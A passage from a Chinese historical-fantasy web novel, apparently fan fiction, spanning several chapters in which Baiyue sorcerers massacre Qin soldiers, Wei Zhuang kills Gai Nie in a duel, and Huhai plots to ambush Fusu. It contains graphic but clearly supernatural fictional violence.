“是百越的活尸!”
校尉拔剑高呼,“结阵!!!”
但已经晚了。
被鬼火照亮的城墙垛口上,密密麻麻爬满了“尸体”。
他们动作僵硬却力大无穷,有个秦兵被活生生撕成两半时,肠子挂上箭楼的风铃,叮当作响。
驱尸魔站在尸群中央,招魂铃每响一声,就有更多泥土翻涌!
阵亡三日的秦军尸体破土而出,腐烂的手指依然紧扣弓弦!
“肉归于地,气归于天…”
校尉砍翻两个活尸,突然发现自己的佩剑开始生锈。
他惊恐地抬头,看到驱尸魔斗篷下伸出的枯指正滴落紫色液体。
“放箭!射那个摇铃的!”
箭雨呼啸而去,却在驱尸魔身前丈许凝滞。
铃声中,箭矢调转方向,将射箭的秦兵钉死在城墙上。
“血归于水,筋归于山…”
护城河突然沸腾,数具身披秦甲的白骨踏浪而出。
他们空洞的眼窝里跳动着鬼火,骨掌所过之处,活人血肉尽褪。
校尉终于崩溃了,“这不是人!是鬼!是——”
他的惨叫戛然而止,因为自己的亲卫队长正把****他后背。
那队长咧嘴一笑,嘴里爬出蜈蚣。
“呼吸化为亡灵…”
驱尸魔的咒语接近尾声。
整个要塞已成鬼域!!!
活尸啃噬着昔日同袍,毒虫在血管里产卵。
一个年幼的新兵吓得尿了裤子,却被地上冒出的骨手拽入地底。
“尽归幽冥之间!”
最后一声铃响,要塞大门轰然洞开!!
城外浓雾里,天泽的蛇形锁链若隐若现。
驱尸魔跪地行礼,“主上,祭品已备妥。”
锁链卷起一具尚未断气的秦军,天泽嗅了嗅血腥气,“不够新鲜。”
突然将人甩向驱尸魔,“再炼三个时辰。”
“遵命。”
驱尸魔的斗篷下伸出更多枯手,开始剥皮抽筋!
他腰间的骷髅突然开口说话,“当心赵佗援军…”
天泽冷笑,“就是要他来看。”
锁链刺入地面,“让秦人知道,什么叫……”
“百鬼夜行!!!”
最后一盏气死风灯熄灭时,要塞的谯楼上挂满了人皮灯笼。
夜风吹过,那些灯笼发出呜咽般的声响,仿佛在哭诉这场不属于人间的**。
……
另一边。
前哨营地。
篝火在风中摇曳。
守夜的秦军打了个哈欠,突然听到草丛中传来“沙沙”的声响。
“什么东…”
他刚举起火把,一条青鳞小蛇就从他的裤管钻了进去。
“啊!”
士兵惨叫一声,疯狂撕扯自己的衣服!
只见他的皮肤下鼓起一个个游走的肿块,就像有无数小蛇在血管里爬行。
“嘿嘿嘿…”
阴森的笑声从黑暗中传来。
百毒王佝偻的身影缓缓浮现,枯
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瘦的手指间缠绕着一条赤练蛇。
“别急,这才刚开始呢。”
他抬起一根缠绕着蛇骨与藤蔓的淬毒魔杖,轻轻敲击地面。
一声低沉诡谲的嗡鸣自杖尖传出,像是毒蛇在吐信,又像是坟土下爬出的虫群在窃语。
营地周围的黑暗中,骤然亮起无数幽绿的光点!
那是成千上万条毒蛇的眼睛!!!
“嘶嘶——”
蛇群如潮水般涌向营地。
一个秦兵刚拔出佩剑,就被一条飞起的眼镜蛇咬中咽喉,瞬间脸色发黑倒地。
另一个士兵举着火把挥舞,却见火焰中突然窜出数条火蛇,顺着他的手臂爬向面部。
“酒…酒里有毒!”
校尉踉跄着拔出佩刀,却发现刀身上不知何时爬满了锈蚀的纹路。
他惊恐地看向白日里那些卖酒的商贩,只见他们正撕开人皮伪装,露出满身蛇鳞!
百毒王站在蛇群中央,枯瘦如柴的手指轻轻一勾。
那些**的秦兵突然僵住,然后像提线木偶般机械地转身,举起武器对准了自己的同袍。
“杀。”
他轻声道。
营地瞬间变成人间炼狱!!
被控制的秦兵疯狂**战友,他们的眼珠已经变成蛇一样的竖瞳。
一个年轻士兵跪地求饶,却被自己最要好的同乡一刀穿心。
“为…为什么…”
年轻士兵吐着黑血问道。
“因为你们秦人…”
同乡的声音突然变成百毒王的沙哑嗓音,“都该死!”
百毒王漫步在血腥的营地中,时不时弯腰收集死者的血液。
他将血滴入腰间的小瓶,瓶**物立刻沸腾起来!
“主上会满意的…”
他喃喃自语,突然看向一个还在抽搐的伤兵,“哦?还有活口?”
伤兵惊恐地看着百毒王走近,枯瘦的手指捏开他的嘴,将一条透明的小蛇塞了进去。
“好好享受吧。”
百毒王阴笑道,“它会慢慢吃掉你的内脏,但会让你活够三天…”
营地渐渐安静下来,只剩下蛇群游走的“沙沙”声。
百毒王站在尸堆上,对着月亮举起血瓶。
“天泽大人,这是献给您的祭品…”
突然,他猛地转头看向黑暗处,“谁在那里?”
树丛中传来轻微的响动。
百毒王冷笑一声,弹指射出一枚**。
只听一声闷哼,一个黑影从树上栽了下来!
竟是前来侦查的秦军斥候。
斥候挣扎着想拔剑,却发现自己的手臂已经开始腐烂。
百毒王蹲在他面前,饶有兴趣地看着毒液一点点侵蚀他的身体。
“这个毒不会很快让你死,回去告诉赵佗…”
他凑到斥候耳边轻声道,“百越…回来了。”
第174章 农家十万弟子,该活动活动了!
南疆官道上。
夜雨滂沱。
扶苏的马车在泥泞中艰难前行,车帘突然被劲风掀起,露出他苍白的脸色。
传令兵浑身湿透地跪在车前,手中竹简被雨水浸得反光。
“殿下,紧急军报!”
扶苏接过竹简,指尖在火把映照下微微发颤。
随着目光下移,他温润如玉的面容渐渐凝重:“百越夜袭前哨营…手段可怕,我军损失惨重!”
竹简“啪”地合上,溅起一串水珠!!
随行的青年将领蒙毅见状,沉声问道:“殿下,可是南疆有变?”
扶苏将竹简递出,声音有些发紧:“我军大营遭百越巫师突袭,死伤逾千。”
“赵佗将军得知后,被迫放弃三处要塞,退守番禺城。”
“什么?”
蒙毅虎目圆睁,“赵佗那家伙,与百越作战多年,莫非不知他们战法?”
“这次不一样,是血线蛊。”
扶苏望向漆黑雨幕,“还有蛇灵部的人皮伪装…那些商贩…”
他突然剧烈咳嗽起来,帕子上染了丝缕鲜红。
蒙毅连忙扶住:“殿下保重!南疆瘴气重,您的身子…”
“无妨。”
扶苏擦去唇角血迹,突然掀开车帘,“传令,弃车换马!全军急行军!!!”
“不可!”
蒙毅急道,“这鬼天气,太恶劣了…”
“蒙将军!”
扶苏罕见地提高了声音,“每耽搁一刻,就可能多死几个大秦儿郎!”
他直接跃下马车,雨水瞬间打湿了素白锦袍。
亲卫慌忙牵来战马。
扶苏翻身上马时,腰间玉佩撞在剑鞘上,发出清脆声响。
那是当初在六公子府请教学问时,赢子夜所赠的“清心玉”,此刻正泛着微弱青光。
“殿下!”
蒙毅追上来塞过一件蓑衣,“至少穿上它…”
扶苏摆手推开:“累赘。”
他忽然压低声音,“蒙将军,你觉得…六弟此刻在何处?”
蒙毅一愣:“末将…也不知……”
“是啊,谁知道呢。”
扶苏轻抚玉佩,目光深远,“但他总能在最恰当的时候,出现在最要命的地方。”
突然扬鞭策马,“驾!”
暴雨中,三千精骑紧随其后。
最年轻的侍卫小声嘀咕:“长公子平日温文尔雅,没想到…”
“闭嘴!”
百夫长一巴掌拍在他头盔上。
“你没见过殿下治军如律令,温言不离口,却能一言定军心吧?”
“那才是真正的儒者怒目!!!”
泥浆飞溅间,扶苏的背影在闪电映照下竟有几分肃杀!!
……
烈山堂内,烛火摇曳。
赢子夜指尖的金色符箓燃尽最后一缕青烟,灰烬在案几上勾勒出边境要塞的轮廓。
赵弋苍铁面具下的声音带着压抑的怒意:
“百越夜袭三处要塞,驱尸魔炼化我军将士尸骸,百毒王毒杀前哨营七百余人。”
“啪!”
少司命手中的杯盏突然裂开一道细纹。
赢子夜抬眸,见她紫纱下的唇抿成一条直线。
“生气了?”
他轻笑,指尖拂过她手背。
少司命摇头,却有一片青叶从袖中飘落,钉入地面三寸。
赢子夜黑瞳微转,看向跪伏在地的暗河信使:“你们查出来的那些潜伏在中原的百越暗探,在找什么?”
“回公子,他们似乎…”
信使喉结滚动。
“在搜寻什么人。”
赢子夜袖中的七杀剑影一闪而逝:“有意思。”
这时,田言正巧捧卷宗入内,上面详细记录着农家各堂损失。
“公子,百越之事…”
“不急。”
赢子夜把玩着一枚青铜虎符。
“扶苏兄长不是已经赶去了么?”
赵弋苍忍不住道:“可长公子他…”
“他需要这份军功。”
赢子夜截断话头,虎符在掌心转了个圈。
“父皇贬他去南疆,真当是惩罚?”
晓梦倚在窗边冷笑:“你们赢家父子,倒是喜欢互相演戏。”
赢子夜不以为忤,反而抛给她一枚玉简:“看看这个。”
玉简上是黑冰台密报!
里面写着百越暗探潜伏的十七个据点!!
晓梦扫了一眼,拂尘银丝无风自动:“你要我出手?”
“杀鸡焉用牛刀。”
赢子夜看向田言。
“农家十万弟子,该活动活动了。”
田言紫瞳微闪:“公子是要…”
“用你们农家这些年散出去的棋,挖出那些虫子。”
赢子夜起身,玄色衣袍上的暗纹如活物游动。
“至于百越在找的,不管是人还是东西……”
他忽然俯身,在田言耳边轻声道:“你知道该怎么做。”
田言后背瞬间被冷汗浸透。
她低头掩饰眼中惊涛:“田言明白。”
“赵弋苍。”
赢子夜转身。
“派一队‘血鸦’盯紧边关,我要知道兄长的每一步动作。”
“诺!”
少司命突然按住赢子夜手腕,
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紫眸中闪过一丝忧虑。
赢子夜反手与她十指相扣:“不必担心。”
他轻笑。
“我那兄长啊…可比你们想的要厉害得多。”
窗外惊雷炸响,暴雨倾盆而下。
恰逢此时。
一名暗河密探出现在屋内,单膝跪地,铁面具折射着冷光:
“禀主上,逆流沙在云梦泽发现盖聂踪迹,那独臂剑圣已被白凤的鸟群追了三天三夜。”
少司命紫纱微动,三片青叶无声滑落。
赢子夜抬手接住其中一片,叶片在他掌心碎成星芒。
“倒是命硬。”
他忽然眯起眼睛:“胜七往何处去了?”
“回公子,他正带着吴旷残部退往楚国旧都郢陈。”
密探喉结滚动。
“哦?他还敢去楚地?”
赢子夜指尖一顿。
田言紫瞳映着烛火:“既然那个叫英布的楚人曾对其出手,胜七为何还要自投罗网?”
赢子夜冷笑一声,黑瞳中闪过一丝玩味。
他起身时,案几上的杯盏无声化为齑粉!
“昭鞅。”
铁面具的副统领如鬼魅现身:“属下在。”
“让噬牙狱的疯子们停手。”
赢子夜袖中滑出一枚血色玉符。
“告诉那些囚徒,本公子改主意了,不去追杀盖聂了,盖聂就交给逆流沙吧。”
赵弋苍的重剑在地上擦出火星:“主上,就凭逆流沙那些人,能做到吗…”
“急什么?”
赢子夜轻笑,指尖突然凝出一缕金焰。
“传令暗河,所有棋子化整为零,我要知道项氏一族究竟藏在哪个老鼠洞里!!”
金焰暴涨间映亮他森冷的笑意。
“特别是那位…少羽殿下。”
少司命突然按住他手腕,紫眸中万叶流转。
赢子夜反手与她十指相扣。
“夫人担心我小瞧了楚南公的预言?”
他忽然凑近她耳畔:“放心,我比谁都清楚‘楚虽三户,亡秦必楚’的分量。”
“赵弋苍。”
赢子夜转身望向南方。
“派血鸦卫盯紧百越动向,天泽那条毒蛇既然敢咬大秦的边关…”
玄鸟纹在他衣袍上活物般游动。
“本公子便拔了他的毒牙!!!”
夜风卷着血腥气涌入厅堂,吹熄了最后一盏灯。
黑暗中,赢子夜的声音如毒蛇吐信。
“记住,我要的是整个楚国的地下脉络…包括当年昌平君留下的那些暗道。”
远处山巅传来狼嚎,恰似丧钟为谁而鸣。
第175章 纵横间,百年的宿命之战!
荒原之上,残阳如血。
呼啸的北风卷起漫天黄沙,将这片死寂之地染成昏黄。
断臂的盖聂立于风沙之中,素白长袍猎猎作响,空荡荡的右袖被狂风撕扯,露出狰狞的断口。
他左手紧握木剑,剑尖垂地,在沙土上划出一道浅浅的痕迹。
“师哥,逃了三日,你终于肯独自面对我了。”
沙哑的声音穿透风沙,卫庄的身影从血色残阳中缓步走来。
鲨齿剑拖在身后,剑锋与砂石摩擦迸溅出刺目火星。
他洁白的长发在风中狂舞,眼中血光比落日更加猩红。
盖聂抬眸,平静的目光如古井无波。
“小庄,你入魔已深。”
“哈哈哈!”
卫庄突然仰天大笑,笑声震得沙丘簌簌崩塌。
“这双能看透世间万物的眼睛,如今也只能看到魔障了吗?”
他猛地止住笑声,戮魂剑突然血焰暴涨。
“我要让你看清楚,什么才是真正的力量!!!”
血色剑气如怒涛般席卷而来,所过之处沙粒尽数化为赤红结晶!
盖聂木剑轻挑,一道青色剑罡如新月升起,将血浪一分为二。
破碎的血色剑气在空中凝结成无数冤魂,发出凄厉哀嚎。
“鬼谷吐纳术?”
卫庄狞笑着踏前一步,地面轰然塌陷。
“你只剩这点本事了?”
盖聂不语,身形突然化作七道残影。
木剑点出北斗星位,每道剑光都精准刺向卫庄周身大穴。
卫庄不闪不避,戮魂剑横扫,血煞之气竟凝成实质锁链,将七道剑影尽数绞碎!!!
“太慢了!”
卫庄狂吼着突进,鲨齿剑与戮魂剑双剑合璧,血光与金芒交织成死亡漩涡。
盖聂急退三步,木剑在身前划出太极圆弧,却听“咔嚓”一声!
陪伴多年的木剑竟被血煞腐蚀出裂痕!
赤练倚在远处枯树上,指尖缠绕的赤蛇吐出幽蓝信子。
“卫庄大人这次…真的生气了。”
白凤静立树梢,一片羽毛飘落。
“他等这一天,等了二十年。”
风沙突然静止!!
盖聂凝视剑上裂痕,忽然轻叹。
“当年在鬼谷…”
“闭嘴!”
卫庄暴怒打断,双剑交叉劈出十字血芒。
“你不配提那个地方!”
盖聂侧身避过,左袖却被余波撕碎。
他望着手臂上蔓延的血色纹路,眉头微皱。
“这等邪功,你竟练到如此地步…”
“怕了?”
卫庄舔了舔剑上血珠。
“这都是拜你所赐!!!”
他突然诡异一笑,激将道:
“想知道桑海城时,你曾带走的那孩子,叫…天明?死前说了什么吗?”
“他说‘师父救我’——”
木剑突然爆发出刺目青光!!
盖聂眼中首次燃起怒火,剑气如龙直取卫庄咽喉。
卫庄不惊反喜,戮魂剑迎着剑芒硬撼而上。
“这才像样!”
两剑相撞的瞬间,整片荒原剧烈震颤!
冲击波将方圆百丈的沙丘夷为平地,远处观战的流沙众人不得不退避三舍。
烟尘中,盖聂的束发带断裂,灰白长发在血色中狂舞!
“这一剑…”
卫庄的黑瞳微微收缩。
“是给天明报仇的?”
盖聂剑势突变,木剑虽残却绽出万千青莲!
每一片莲瓣都是凌厉剑气,将卫庄的血煞领域撕得支离破碎。
卫庄狂笑着迎战,双剑舞成血色风暴,却见盖聂突然变招!
木剑如游龙穿云,直刺他心口!!!
“嗤!”
鲨齿剑堪堪格挡,戮魂剑却慢了半分。
青色剑芒穿透卫庄左肩,带出一蓬黑血。
观战的苍狼王发出惊呼,却被赤练按住。
“别急,大人他…”
“很好…”
卫庄低头看着肩头血洞,突然露出癫狂笑容。
“这才是我要的生死对决!”
他猛地撕开衣襟,心口处赫然浮现血色蜘蛛纹路。
“但你以为,这就结束了?”
地面突然渗出粘稠血水!
无数血手破土而出,抓住盖聂双腿!
戮魂剑上的冤魂哀嚎着扑向盖聂,竟开始吞噬他的剑气!
盖聂挥剑斩断血手,却见卫庄的气息正在疯狂攀升,血色蜘蛛纹路已蔓延到脖颈!!
“看到了吗?”
卫庄张开双臂,血煞之气形成通天光柱。
“这才是纵横之道的真谛!!!”
光柱中浮现万千剑影,每一道都带着毁天灭地的威压。
“鬼谷百年秘传——血狱修罗剑!”
盖聂瞳孔骤缩。
这是鬼谷禁术,需以千人性命为祭!!
他木剑横胸,周身浮现八卦虚影。
“你竟堕入如此地步…这已经不属于我鬼谷学派了。”
“少说教了!”
卫庄双剑合十,血色光柱轰然劈落。
“死吧!”
天地失色!
盖聂的八卦阵瞬间崩碎,木剑在血光中化为齑粉。
他喷出一口鲜血,单膝跪地,却仍以断剑撑住身体!
卫庄缓步走近,鲨齿剑抵住他咽喉。
“求我,就给你痛快。”
盖聂染血的嘴角微微扬起。
“小庄…你永远…赢不了…”
“为什么?!”
卫庄突然暴怒,一剑刺穿盖聂胸膛!!
“为什么到死都不肯认输?!!”
鲜血顺着剑刃滴落,在沙地上汇成小小血洼。
盖聂艰难抬手,染血的手指在卫庄心口轻轻一点。
“因为…这里…空了…”
卫庄浑身剧震!
戮魂剑上的血光突然紊乱,心口蜘蛛纹路开始扭曲。
他猛地拔出鲨齿剑,盖聂的身体如断线风筝般跌落。
风沙再起,模糊了生死界限。
赤练想要上前,却被白凤拦住。
“让他…独自待会儿。”
卫庄站在血泊中,低头看着自己的双手。
吞噬了师哥生命的血煞之气,此刻却如毒蛇般反噬自身。
他突然想起二
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十年前,那个在鬼谷瀑布下教他剑法的白衣少年。
“师哥…”
他嘶哑着跪倒在地,黑瞳中的血光渐渐熄灭。
“你赢了…”
……
远处的地平线上,最后一缕残阳被黑暗吞噬。
沙暴中传来苍狼的哀嚎,仿佛在为剑圣送行。
卫庄拾起盖聂的半截木剑,突然发出一声不似人声的嚎叫,那声音里,竟带着连血狱修罗都无法磨灭的痛楚。
赤练手中的赤蛇突然僵死,她怔怔望着风暴中心的身影。
“大人他…哭了?”
白凤沉默地捏碎了一片羽毛。
纷纷扬扬的羽屑中,卫庄将断剑刺入自己掌心,任鲜血染红那斑驳的木纹。
“传令…”
他的声音沙哑得可怕。
“厚葬盖聂,以…剑圣之礼。”
风卷着沙粒掠过盖聂安详的面容,仿佛要抚平那抹最后的微笑。
在这片无人见证的荒原上,纵横百年的宿命,终以最惨烈的方式…落下帷幕。
……
烈山堂内。
晨光透过雕花窗棂,在青石地上投下斑驳光影。
赢子夜斜倚在玄色软榻上,指尖一枚青铜虎符缓缓旋转,映得他黑瞳如渊。
“禀公子。”
沙哑的声音从殿外传来。
卫庄单膝跪在门槛处。
鲨齿剑斜插背后,剑鞘上还沾着荒原的沙粒。
他白发束得一丝不苟,却掩不住眼底未散的血煞之气。
赢子夜抬眸,目光扫过他左肩未愈的伤口。
“看来这一战,卫庄先生收获颇丰。”
“盖聂已死。”
四个字如铁石坠地!!!
卫庄声音平静,却让堂外一株海棠瞬间凋零。
少司命紫纱微动,三片青叶无声化为齑粉。
“很好。”
赢子夜指尖虎符突然停转,“如此…也算了却你一桩心愿。”
卫庄右手无意识抚上心口,血色纹路在衣襟下若隐若现。
他忽然想起昨夜梦中,鬼谷的瀑布声震耳欲聋!
赢子夜将他的细微动作尽收眼底,唇角勾起一抹似有若无的弧度。
“百越近日不太平。”
玄色袖袍一挥,案几上浮现南疆地形图。
“天泽那条毒蛇,需要有人去拔牙。”
“公子的意思是?”
“逆流沙三日后启程。”
赢子夜抛来一枚赤玉令箭。
“边关有一支本公子的力量,任你调遣。”
卫庄凌空接住令箭,掌心传来灼烧般的痛感。
玉中封印的竟是噬牙狱最深处的地火精华!
海棠树突然剧烈摇晃,明明无风。
卫庄深深看了赢子夜一眼,转身时鲨齿剑与戮魂剑碰撞出凄厉鸣响。
他踏出殿门的刹那,整片庭院的海棠尽数枯萎!
少司命指尖一片新叶无声发芽,赢子夜忽然握住她冰凉的手。
“怎么,担心他抗命?”
紫纱下传来几不可闻的轻叹。
赢子夜低笑着,只见远处城楼上,白凤的羽毛飘过血色朝阳。
第176章 魏武卒,现!
与此同时。
烈山堂一处偏殿内,药香氤氲。
钟离昧猛然睁开双眼,胸膛剧烈起伏,右手本能地抓向腰间箭囊!!
却摸了个空。
“钟离将军醒了?”
清冷的女声从帷帐外传来。
田言紫衣翩然,惊鲵剑柄上的魏国铭文在晨光中泛着冷光。
她指尖轻挑,一碗汤药凭空浮到榻前。
“公子吩咐,将军醒后即刻服药。”
钟离昧警惕地扫视四周。
他记得自己身中十七处创伤,因为追击胜七,而被楚军围困在山谷。
如今却躺在锦缎软榻上,伤口处传来清凉触感。
低头看去,狰狞的刀伤竟已结痂,泛着淡金色泽。
“六公子……”
他嗓音沙哑,突然剧烈咳嗽起来。
田言不动声色地退后半步,紫瞳中闪过一丝异色。
这秦将咳出的血沫里,竟有丝丝金线流转。
“好一个忠勇之士。”
这时,玄色衣袍掠过门槛,赢子夜负手而立。
晨光为他轮廓镀上金边,腰间玉珏碰撞出清越声响。
钟离昧强撑起身要行礼,却被一股无形气劲托住!
“免了。”
赢子夜指尖轻点,那碗汤药突然沸腾,化作七颗金丸飞入钟离昧口中。
“本公子的‘九转还魂丹’,看来与你颇为契合。”
丹药入腹如烈火焚身!!
钟离昧闷哼一声,周身毛孔渗出黑色污血,却在落地前被田言袖中飞出的布带尽数接住。
少司命不知何时已立在窗边,紫纱无风自动。
“末将。”
钟离昧不敢抬头多看一眼,只是突然发现自己的内息比受伤前更加浑厚,经脉中似有金龙游走。
“谢公子救命之恩!!!”
赢子夜轻笑,袖中滑出一把通体赤红的长弓。
弓身如凤羽层叠,弦丝泛着星辰般的光芒。
“追风弧箭名不虚传,楚军九名高手,竟被你一箭穿喉!”
“末将分内之事。”
钟离昧单膝跪地,却见赢子夜又抛来一卷竹简。
展开一看,赫然是一本《射日箭诀》!
“将军可知……”
赢子夜突然俯身,黑瞳直视他双眼:“那日山谷中的楚将是谁?”
钟离昧握紧竹简。
“雷豹军团,英布。”
殿内温度骤降。
少司命指尖一片青叶突然化为冰晶,田言惊鲵剑微微震颤!
钟离昧脸色凝重,杀气十足:“公子请放心,末将…愿追查到底!!!”
他重重抱拳,铠甲铿锵作响。
赢子夜却摇头。
“本公子要的不是追查。”
“而是…斩草除根。”
话音未落,赵弋苍铁甲森然地踏入殿内,肩上扛着一柄通体漆黑的重弓。
“主上,您的‘陨星弓’已到。”
殿中烛火在弓身前仿佛失了光彩!
黑色的弓体宛如深渊,将光线与视线一并吞没。
弓臂似由天外陨铁铸成,其间嵌着不该属于人世的白骨纹理,隐约流动着金属般的暗红光泽,好似在呼吸。
缠绕其上的锁链仍滴着未凝的血水,链节上刻满古老诅咒文。
每一滴坠落,地砖都会浮起淡淡的黑雾!
殿内空气顿时沉重,带着浓烈的铁锈与血腥味,仿佛整座大殿都被拖入深海之底!!!
钟离昧呼吸一滞。
这是何等凶兵?!
他分明听到弓弦在轻颤,那细微的震动却令心跳瞬间紊乱,仿佛有无形之手正攥住心脏。
即便相隔数丈。
他的后背仍涌起一股冷意——
那是死亡的气息!!!
而此刻,这柄不该再现于世的弓,正静静地、如同饥饿的野兽般注视着它的新猎物。
“将军可愿……”
赢子夜指尖轻抚弓弦,奏出龙吟般的颤音。
“在本公子左右,做这执弓人?”
田言紫眸微闪!
她清楚看见钟离昧脖颈后的秦**青正在泛红。
那是直属始皇的“铁鹰锐士”标记。
沉默良久,钟离昧突然扯开衣襟,露出心口处的烙印。
“末将十六岁从军,历经七十三战!”
他一把抓起陨星弓,弓弦割破手掌,鲜血染红箭囊!
“但求为公子…射落这乱世残星!!!”
赢子夜大笑,袖中飞出十二支金箭钉入梁柱,排成北斗之形。
“好!自今日起,本公子便封你为‘北斗箭主’!”
少司命突然拂袖,七片青**入钟离昧箭囊。
每片叶子都化作一道符纹,隐约组成星图。
田言低头掩饰眼中惊骇。
这分明是阴阳家最高秘术“星魂引”!
……
数日之余!
数百里外,魏地。
暮色四合,密林深处弥漫着潮湿的腐叶气息。
“公主快走!”
身披残破魏甲的老兵猛地推开少女,青铜重盾迎上三道淬毒暗器!
“叮叮叮”三声脆响,盾面蛛网般的裂纹中渗出幽蓝液体。
老兵闷哼一声,左臂瞬间泛出青紫。
“叔叔!”
少女紫衣染血,腰间玉佩刻着古朴的“魏”字!
她反手抽出细剑,剑身竟如流水般波动。
“我不能丢下你们!”
树影中传来阴冷笑声。
七名黑
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衣**无声落地,手中兵刃泛着诡异绿光。
为首者面具上刻着蜘蛛纹路。
“魏国最后的血脉,果然就是你。”
“保护公主!”
四名魏武卒残部结成战阵,锈迹斑斑的重甲发出沉闷碰撞声!
他们脖颈处都烙着相同的魏王室印记,那是当年魏武卒的军徽。
“垂死挣扎。”
蜘蛛面具挥手,**们如鬼魅散开。
一道银丝突然缠住少女脚踝,将她猛地拽倒!!
细剑脱手飞出,钉入树干嗡嗡震颤。
“苍啷!”
老兵巨斧劈断银丝,后背却被两枚透骨钉击中。
他踉跄着单膝跪地,却仍用身躯挡在少女前方。
“公主,老臣怕是……”
少女突然咬破手指,鲜血抹在玉佩上。
玉佩顿时绽放刺目血光,林中骤然响起战马嘶鸣的幻听!
**们动作一滞,惊疑不定地环顾四周。
“是魏武卒战魂!”
蜘蛛面具厉喝:“速战速决!!!”
三道黑影同时扑向少女!
千钧一发之际,地面突然隆起!
一具身披魏甲的白骨破土而出,骨掌拍碎最先袭来的**头颅。
紧接着第二具、第三具。
整整十八具持戈白骨从腐叶下站起,将少女团团护住。
“这…这是信陵君的亲兵!”
**首领声音发颤。
少女染血的手指按在领头白骨的胸甲上,那里刻着“无忌”二字。
她泪流满面却目光如铁。
“先祖庇佑,魏武不灭!!”
突然!
白骨们突然齐刷刷转向东方,空洞的眼窝里跳动着幽火。
少女抹去泪水。
“有人在靠近!更可怕的敌人……”
老兵挣扎着站起,扯下染血的护心镜塞给少女。
“顺着溪流走…”
话未说完,一柄短刀已穿透他咽喉!
“走啊!”
三名魏武卒咬牙撕开腰间的兽皮袋,浓烈的油腥味瞬间弥漫。
他们扑向敌阵,将油泼在追兵脚下,同时用火折子引燃。
烈焰沿着油迹瞬间蔓延,将密林化作火海,逼得罗网不得不暂退!!
在火光中,三人化为焦炭,仍死死抓住冲来的敌人脚踝。
少女含泪疾奔,身后传来白骨碎裂的脆响。
她没看见的是,自己滴落的血珠在接触泥土时,竟化作细小的金戈铁马幻影,转瞬即逝。
……
半柱香后。
掩日踏过燃烧的残骸,剑尖挑起半块焦黑的魏武卒腰牌。
玄铁面具下传来冰冷自语。
“苍龙七宿的钥匙,跑不远。”
第177章 胡亥:传令,截杀扶苏!
咸阳宫。
麒麟殿内,青铜烛台上的火焰突然齐齐一矮。
“报——!”
嘶哑的吼声撕裂了朝堂的肃穆。
一名浑身浴血的传令兵撞开殿门,铁甲上还插着半截淬毒的箭矢。
他踉跄着扑倒在丹墀之下,在玉阶上拖出刺目的血痕。
“南疆…南疆急报!”
竹简从染血的怀中取出时,竟在滋滋作响!
上面浸透了腐蚀性的毒液。
赵高刚要上前接过,始皇帝突然抬手。
“哗啦!”
那卷竹简竟凭空飞起,悬浮在九阶玉台之上。
竹简自动展开,焦黑的字迹在众人眼前浮现:
【百越天泽驱使尸蛊大军连破三关,驱尸魔以秦军尸骸炼成不死傀儡,百毒王在饮水中下蛊…万毒侵蚀,我军伤亡惨重!】
“砰!”
竹简突然炸成齑粉。
始皇帝缓缓起身,十二旒冕冠上的玉珠竟无风自动!!
大殿内的温度骤然降至冰点,几名文官手中的笏板表面结出霜花。
“十五万。”
低沉的声音像钝刀刮过青铜鼎!
李斯手中的奏章“啪嗒”掉落,他看见陛下玄色帝袍上的金线正在扭曲!!
那根本不是刺绣,而是一只只活着的玄鸟纹!
蒙恬硬着头皮出列:“陛下,短期内恐怕抽调不出……”
“咔嚓。”
蒙恬的玉带钩突然断裂。
始皇帝的目光扫过他,这位身经百战的将军瞬间如坠冰窟,仿佛被无形的巨手扼住咽喉!
“朕说。”
始皇帝一步步迈下玉阶,每一步都让殿柱微微震颤!
“调陇西、北地、上郡三郡戍卒,明日辰时开赴南疆!!”
胡亥藏在袖中的手突然攥紧。
他瞥见父皇腰间定秦剑的剑穗正在无风自动。
传闻那是当年用叛将樊於期的发丝编织的!
赵高匍匐在地,后颈的冷汗浸透了官服。
“陛下圣明!”
李斯突然高声颂唱,额头紧贴地面,“臣请增派关中兵员赶赴南疆!”
“轰!”
殿外晴天霹雳!
一道闪电劈在宫门外的铜像上!
始皇帝的身影在雷电中忽明忽暗。
整座咸阳宫的地砖都在嗡嗡震动!!
“告诉赵佗。”
靴底碾过那摊传令兵的血迹,“若再丢一城…”
“让他提着脑袋回来见朕!”
话未说完,胡亥突然发现自己的玉佩裂开了,而父皇根本还没看向他!
一些大臣握拳轻咳,指缝间渗出的血珠在半空凝成冰晶。
右丞相冯去疾突然瘫软在地。
众人这才发现,他官服下摆不知何时已爬满蛛网般的血丝,就像被无形的剑刃凌迟过!!!
陛下的气息……越发恐怖了!
“退朝。”
随着这两个字落下,殿内半数烛火齐齐熄灭。
群臣战栗着退出时,没人敢抬头看那玉台上模糊的身影。
宫门关闭的巨响中,十二位新晋郎官同时举起手中兵器。
咸阳上空乌云翻涌,隐约凝成一条黑龙形状。
而南疆方向的天空,此刻正泛着诡异的血光!
……
十八公子府。
密室,烛火将胡亥扭曲的影子投在墙上。
他神经质地啃咬着指甲,眼白布满血丝:“查清楚了吗?兄长此去带了多少人马?”
阴影中跪着的黑衣人浑身颤抖:
“回殿下,长公子领蒙毅麾下的五万精兵,粮草走的是…”
“啪!”
胡亥突然将玉盏砸碎在黑衣人脸上,碎片割出一道血痕。
他凑近闻了闻血腥味,舌尖舔过溅到手背上的酒液:“本公子问的是具体路线!具体!”
他突然掐住黑衣人喉咙,
“还是说…你想尝尝罗网的‘万蛛噬心’?”
黑衣人裤裆瞬间湿透:
“走、走灵渠古道!三日后未时经过鬼见愁峡谷!”
胡亥松开手,痴痴笑了起来。
他抓起案上竹简,用染血的指甲在上面勾画:“天泽那条野狗不是要火雨玛瑙吗?把这个消息告诉他…”
竹简被撕成两半,“烧了扶苏的粮队,本公子愿全力助他!”
屏风后转出个佝偻身影:
“殿下,中车府令的罗网刚截获密报,六公子也派人赶过去了…”
“闭嘴!”
胡亥一脚踹翻香炉,炭火点燃了地毯。
他踩着火苗跳舞般转圈,
“我那个好六哥?呵…等扶苏变成焦尸,看他还能不能装出那副云淡风轻的模样!”
他突然扑到铜镜前,镜中映出狰狞的面容:
“赵高呢?那个老阉狗躲哪去了?”
黑衣人匍匐后退:“中车府令去安排…安排别的事了。”
“别的
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事?”
胡亥猛地扯下墙上地图,疯狂撕扯!!
“农家之事早败露了!他还要干什么?!”
他喘着粗气从碎布堆里爬出来,瞳孔缩成针尖。
“不管了,告诉下面的人,截杀扶苏,不得有误!”
窗外雷声轰鸣。
胡亥突然安静下来,从袖中掏出一个布偶,上面歪歪扭扭绣着“扶苏”二字。
他温柔地抚摸着布偶的脸,然后一根根拔掉上面的银针:“大哥啊…这次弟弟给你准备了特别的惊喜…”
